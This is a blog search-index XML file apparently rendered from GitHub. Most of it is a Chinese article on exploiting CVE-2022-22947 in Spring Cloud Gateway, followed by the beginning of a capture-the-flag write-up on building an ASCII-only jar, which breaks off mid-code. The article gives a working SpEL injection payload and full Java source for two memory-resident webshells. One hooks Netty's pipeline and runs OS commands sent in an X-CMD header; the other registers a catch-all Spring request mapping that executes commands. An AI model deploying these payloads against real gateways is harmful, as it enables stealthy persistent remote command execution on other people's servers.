-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsearch.xml
995 lines (474 loc) · 731 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Spring cloud gateway通过SPEL注入内存马</title>
<link href="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/"/>
<url>/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/</url>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>最近小火的漏洞<code>CVE-2022-22947</code>虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命令就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!</p><p>spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。</p><p>下面以vulhub中的<code>spring cloud gateway 3.1.0</code>作为环境,来分享下构造netty层和spring层的内存马,其他版本思路相同。</p><h2 id="0x01-高可用Payload"><a href="#0x01-高可用Payload" class="headerlink" title="0x01 高可用Payload"></a>0x01 高可用Payload</h2><p>Spring cloud gateway对payload的稳定性要求比较高,一旦报错是由可能会影响业务的。所以在开始之前,我们需要先构造一个”优质”的SPEL执行java字节码的payload。</p><p>我主要对payload进行了如下的优化:</p><ol><li>解决BCEL/js引擎兼容性问题</li><li>解决base64在不同版本jdk的兼容问题</li><li>可多次运行同类名字节码</li><li>解决可能导致的ClassNotFound问题</li></ol><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}</span><br></pre></td></tr></table></figure><h2 id="0x02-netty层内存马"><a href="#0x02-netty层内存马" class="headerlink" title="0x02 netty层内存马"></a>0x02 netty层内存马</h2><p>netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。</p><p>不像常规的中间件,<code>filter/servlet/listener</code>组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。<strong>负责给pipeline添加handler是<code>ChannelPipelineConfigurer</code>(下面简称为configurer),因此注入netty内存马的关键是分析<code>configurer</code>如何被netty管理和工作的。</strong></p><p><code>CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</code>是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。一般情况下第一个参数是不为空配置,第二个参数为空配置,所以返回的configurer是Spring cloud gateway默认的。</p><p>如果我们能够设置第二个other参数不为空配置呢? 那么这两个configurer将被合并为一个新<code>CompositeChannelPipelineConfigurer</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> ChannelPipelineConfigurer <span class="title">compositeChannelPipelineConfigurer</span><span class="params">(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { <span class="comment">// 默认configurer是无操作空配置</span></span><br><span class="line"> <span class="keyword">return</span> other;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (other == ChannelPipelineConfigurer.emptyConfigurer()) { <span class="comment">// 其他额外configurer是无操作空配置</span></span><br><span class="line"> <span class="keyword">return</span> configurer;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ......</span><br><span class="line"> ChannelPipelineConfigurer[] newConfigurers = <span class="keyword">new</span> ChannelPipelineConfigurer[length];</span><br><span class="line"> <span class="keyword">int</span> pos;</span><br><span class="line"> <span class="keyword">if</span> (thizConfigurers != <span class="keyword">null</span>) {</span><br><span class="line"> pos = thizConfigurers.length;</span><br><span class="line"> System.arraycopy(thizConfigurers, <span class="number">0</span>, newConfigurers, <span class="number">0</span>, pos);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> pos = <span class="number">1</span>;</span><br><span class="line"> newConfigurers[<span class="number">0</span>] = configurer; <span class="comment">// 将默认configurer存储到新configurer</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (otherConfigurers != <span class="keyword">null</span>) {</span><br><span class="line"> System.arraycopy(otherConfigurers, <span class="number">0</span>, newConfigurers, pos, otherConfigurers.length);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> newConfigurers[pos] = other; <span class="comment">// 将其他额外configurer存储到新configurer</span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 合并成新的configurer</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>CompositeChannelPipelineConfigurer</code>会循环调用所有合并进来<code>configurer</code>来对<code>pipeline</code>添加<code>handler</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">CompositeChannelPipelineConfigurer</span> <span class="keyword">implements</span> <span class="title">ChannelPipelineConfigurer</span> </span>{</span><br><span class="line"> <span class="keyword">final</span> ChannelPipelineConfigurer[] configurers;</span><br><span class="line"></span><br><span class="line"> CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {</span><br><span class="line"> <span class="keyword">this</span>.configurers = configurers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onChannelInit</span><span class="params">(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress)</span> </span>{</span><br><span class="line"> ChannelPipelineConfigurer[] var4 = <span class="keyword">this</span>.configurers;</span><br><span class="line"> <span class="keyword">int</span> var5 = var4.length;</span><br><span class="line"> <span class="comment">// 循环调用所有configurer对pipeline设置handler</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> var6 = <span class="number">0</span>; var6 < var5; ++var6) {</span><br><span class="line"> ChannelPipelineConfigurer configurer = var4[var6];</span><br><span class="line"> configurer.onChannelInit(connectionObserver, channel, remoteAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现<code>reactor.netty.transport.TransportConfig</code>类的<code>doOnChannelInit</code>属性存储着other参数,我使用<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">java-object-searcher</a>以<code>doOnChannelInit</code>为关键字,定位出了它在线程对象的位置。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">TargetObject = {[Ljava.lang.Thread;} </span><br><span class="line"> ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} </span><br><span class="line"> ---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind} </span><br><span class="line"> ---> config = {reactor.netty.http.server.HttpServerConfig} </span><br><span class="line"> ---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}</span><br></pre></td></tr></table></figure><p>最终内存马构造如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">NettyMemshell</span> <span class="keyword">extends</span> <span class="title">ChannelDuplexHandler</span> <span class="keyword">implements</span> <span class="title">ChannelPipelineConfigurer</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">doInject</span><span class="params">()</span></span>{</span><br><span class="line"> String msg = <span class="string">"inject-start"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Method getThreads = Thread.class.getDeclaredMethod(<span class="string">"getThreads"</span>);</span><br><span class="line"> getThreads.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object threads = getThreads.invoke(<span class="keyword">null</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < Array.getLength(threads); i++) {</span><br><span class="line"> Object thread = Array.get(threads, i);</span><br><span class="line"> <span class="keyword">if</span> (thread != <span class="keyword">null</span> && thread.getClass().getName().contains(<span class="string">"NettyWebServer"</span>)) {</span><br><span class="line"> Field _val$disposableServer = thread.getClass().getDeclaredField(<span class="string">"val$disposableServer"</span>);</span><br><span class="line"> _val$disposableServer.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object val$disposableServer = _val$disposableServer.get(thread);</span><br><span class="line"> Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField(<span class="string">"config"</span>);</span><br><span class="line"> _config.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object config = _config.get(val$disposableServer);</span><br><span class="line"> Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField(<span class="string">"doOnChannelInit"</span>);</span><br><span class="line"> _doOnChannelInit.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> _doOnChannelInit.set(config, <span class="keyword">new</span> NettyMemshell());</span><br><span class="line"> msg = <span class="string">"inject-success"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> msg = <span class="string">"inject-error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> msg;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="comment">// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onChannelInit</span><span class="params">(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress)</span> </span>{</span><br><span class="line"> ChannelPipeline pipeline = channel.pipeline();</span><br><span class="line"> <span class="comment">// 将内存马的handler添加到spring层handler的前面 </span></span><br><span class="line"> pipeline.addBefore(<span class="string">"reactor.left.httpTrafficHandler"</span>,<span class="string">"memshell_handler"</span>,<span class="keyword">new</span> NettyMemshell());</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="comment">// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">channelRead</span><span class="params">(ChannelHandlerContext ctx, Object msg)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">if</span>(msg <span class="keyword">instanceof</span> HttpRequest){</span><br><span class="line"> HttpRequest httpRequest = (HttpRequest)msg;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span>(httpRequest.headers().contains(<span class="string">"X-CMD"</span>)) {</span><br><span class="line"> String cmd = httpRequest.headers().get(<span class="string">"X-CMD"</span>);</span><br><span class="line"> String execResult = <span class="keyword">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="string">"\\A"</span>).next();</span><br><span class="line"> <span class="comment">// 返回执行结果</span></span><br><span class="line"> send(ctx, execResult, HttpResponseStatus.OK);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ctx.fireChannelRead(msg);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">send</span><span class="params">(ChannelHandlerContext ctx, String context, HttpResponseStatus status)</span> </span>{</span><br><span class="line"> FullHttpResponse response = <span class="keyword">new</span> DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));</span><br><span class="line"> response.headers().set(HttpHeaderNames.CONTENT_TYPE, <span class="string">"text/plain; charset=UTF-8"</span>);</span><br><span class="line"> ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/netty-memshell.jpeg" alt="netty内存马执行效果"></p><h2 id="0x03-Spring层内存马"><a href="#0x03-Spring层内存马" class="headerlink" title="0x03 Spring层内存马"></a>0x03 Spring层内存马</h2><p>Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,这里我分享下最简单的<code>RequestMappingHandler</code>。</p><p>Spring cloud gateway主要的路由分发主要由<code>org.springframework.web.reactive.DispatcherHandler</code>类和它三个组件来完成</p><ol><li>org.springframework.web.reactive.HandlerMapping 路由比配器</li><li>org.springframework.web.reactive.HandlerAdapter handler适配器</li><li>org.springframework.web.reactive.HandlerResultHandler 结果处理器</li></ol><p>具体逻辑如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// org.springframework.web.reactive.DispatcherHandler#handle</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Mono<Void> <span class="title">handle</span><span class="params">(ServerWebExchange exchange)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.handlerMappings == <span class="keyword">null</span> ? <span class="keyword">this</span>.createNotFoundError() : Flux.fromIterable(<span class="keyword">this</span>.handlerMappings).concatMap((mapping) -> {</span><br><span class="line"> <span class="keyword">return</span> mapping.getHandler(exchange); <span class="comment">// Step1. 使用HandlerMapping匹配路由</span></span><br><span class="line"> }).next().switchIfEmpty(<span class="keyword">this</span>.createNotFoundError()).flatMap((handler) -> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.invokeHandler(exchange, handler); <span class="comment">// Step2. 使用具体HandlerAdapter来处理具体请求</span></span><br><span class="line"> }).flatMap((result) -> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.handleResult(exchange, result); <span class="comment">// Step3. 使用适合的HandlerResultHandler来处理返回的结果</span></span><br><span class="line"> });</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>基于这个流程,我们可以梳理出一个构造内存马的思路。让<code>HandlerMapping</code>注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。</p><p>这里我选择<code>RequestMappingHandlerMapping</code>这个HandlerMapping,来注册一个与使用<code>@RequestMapping("/*")</code>等效的内存马。</p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/handlerMapping.png" alt="RequestMappingHandlerMapping"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">SpringRequestMappingMemshell</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">doInject</span><span class="params">(Object requestMappingHandlerMapping)</span> </span>{</span><br><span class="line"> String msg = <span class="string">"inject-start"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod(<span class="string">"registerHandlerMethod"</span>, Object.class, Method.class, RequestMappingInfo.class);</span><br><span class="line"> registerHandlerMethod.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod(<span class="string">"executeCommand"</span>, String.class);</span><br><span class="line"> PathPattern pathPattern = <span class="keyword">new</span> PathPatternParser().parse(<span class="string">"/*"</span>);</span><br><span class="line"> PatternsRequestCondition patternsRequestCondition = <span class="keyword">new</span> PatternsRequestCondition(pathPattern);</span><br><span class="line"> RequestMappingInfo requestMappingInfo = <span class="keyword">new</span> RequestMappingInfo(<span class="string">""</span>, patternsRequestCondition, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>);</span><br><span class="line"> registerHandlerMethod.invoke(requestMappingHandlerMapping, <span class="keyword">new</span> SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);</span><br><span class="line"> msg = <span class="string">"inject-success"</span>;</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> msg = <span class="string">"inject-error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> msg;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ResponseEntity <span class="title">executeCommand</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> String execResult = <span class="keyword">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="string">"\\A"</span>).next();</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ResponseEntity(execResult, HttpStatus.OK);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那怎么获取到<code>RequestMappingHandlerMapping</code>呢?通过java-object-searcher自然可以定位到,小组的<code>@whw1sfb</code>师傅提到了一种更简便的方案,<strong>从SPEL上下文的bean当中获取!</strong></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/get-RequestMappingHandlerMapping.png" alt="从Bean中获取RequestMappingHandlerMapping"></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/inject-spring-requestmapping-memshell.png" alt="注册Spring requestmapping内存马"></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/spring-requestmapping-memshell.png" alt="Spring RequestMapping内存马"></p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>从最后的效果来看,spring层的内存马更好做兼容性,因为可以直接从bean当中获取目标对象,唯一要考虑的就是注入方法在各个版本是否兼容。</p><p>关于各个协议和组件的内存马的构造思路其实都大同小异,说白了就是分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。</p><h2 id="0x05-参考资料"><a href="#0x05-参考资料" class="headerlink" title="0x05 参考资料"></a>0x05 参考资料</h2><ul><li><a href="https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/" target="_blank" rel="noopener">CVE-2022-22947: SpEL Casting and Evil Beans</a></li></ul>]]></content>
<tags>
<tag> 漏洞利用 </tag>
</tags>
</entry>
<entry>
<title>RWCTF 4th Desperate Cat ASCII Jar Writeup</title>
<link href="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/"/>
<url>/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/</url>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>出题人的<a href="https://mp.weixin.qq.com/s/QQ2xR32Fxj_nnMsFCucbCg" target="_blank" rel="noopener">Writeup</a>当中提到了一个非预期解,上传一个ASCII jar并执行它来解题。思路都好理解,但如何构造这个特殊的jar,一笔带过了。文章里介绍的工具也是不能直接使用的。这篇文章主要是分享ASCII jar的构造思路。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/ascii-zip-exploit.png" alt="ASCII ZIP Exploit"></p><p><strong>在开始之前,我们先思考一个问题,为何需要控制字节在ASCII(0-127)之内呢?</strong></p><p>这是因为题目写的文件内容是一个<code>String</code>而不是一个<code>byte[]</code>,<code>String</code>的编码决定着它的<code>byte[]</code>。各类编码是可以兼容ASCII的,无论怎么编码转换,ASCII范围的字符二进制都可以做到不变。</p><p>所以该题最终需要控制jar的内容在0-127同时不包含被转义的<code>&<'>"()</code>字符。</p><h2 id="0x01-构造思路"><a href="#0x01-构造思路" class="headerlink" title="0x01 构造思路"></a>0x01 构造思路</h2><p>jar格式包含着各类信息,我们需要让每一部分都在允许的字节范围内。但每部分生成的算法并不相同,所以需要分别构造,最终合并成一个合法的jar。</p><p>一个简单的jar格式大概如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wrap_jar</span><span class="params">(raw_data,compressed_data,zip_entry_filename)</span>:</span></span><br><span class="line"> crc = zlib.crc32(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <span class="string">b'PK\3\4'</span> + <span class="comment"># Magic</span></span><br><span class="line"> binascii.unhexlify(</span><br><span class="line"> <span class="string">'0a000000'</span> + <span class="comment"># Version needed to extract</span></span><br><span class="line"> <span class="string">'080000000000'</span> <span class="comment"># Compression Method</span></span><br><span class="line"> ) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, crc) +</span><br><span class="line"> 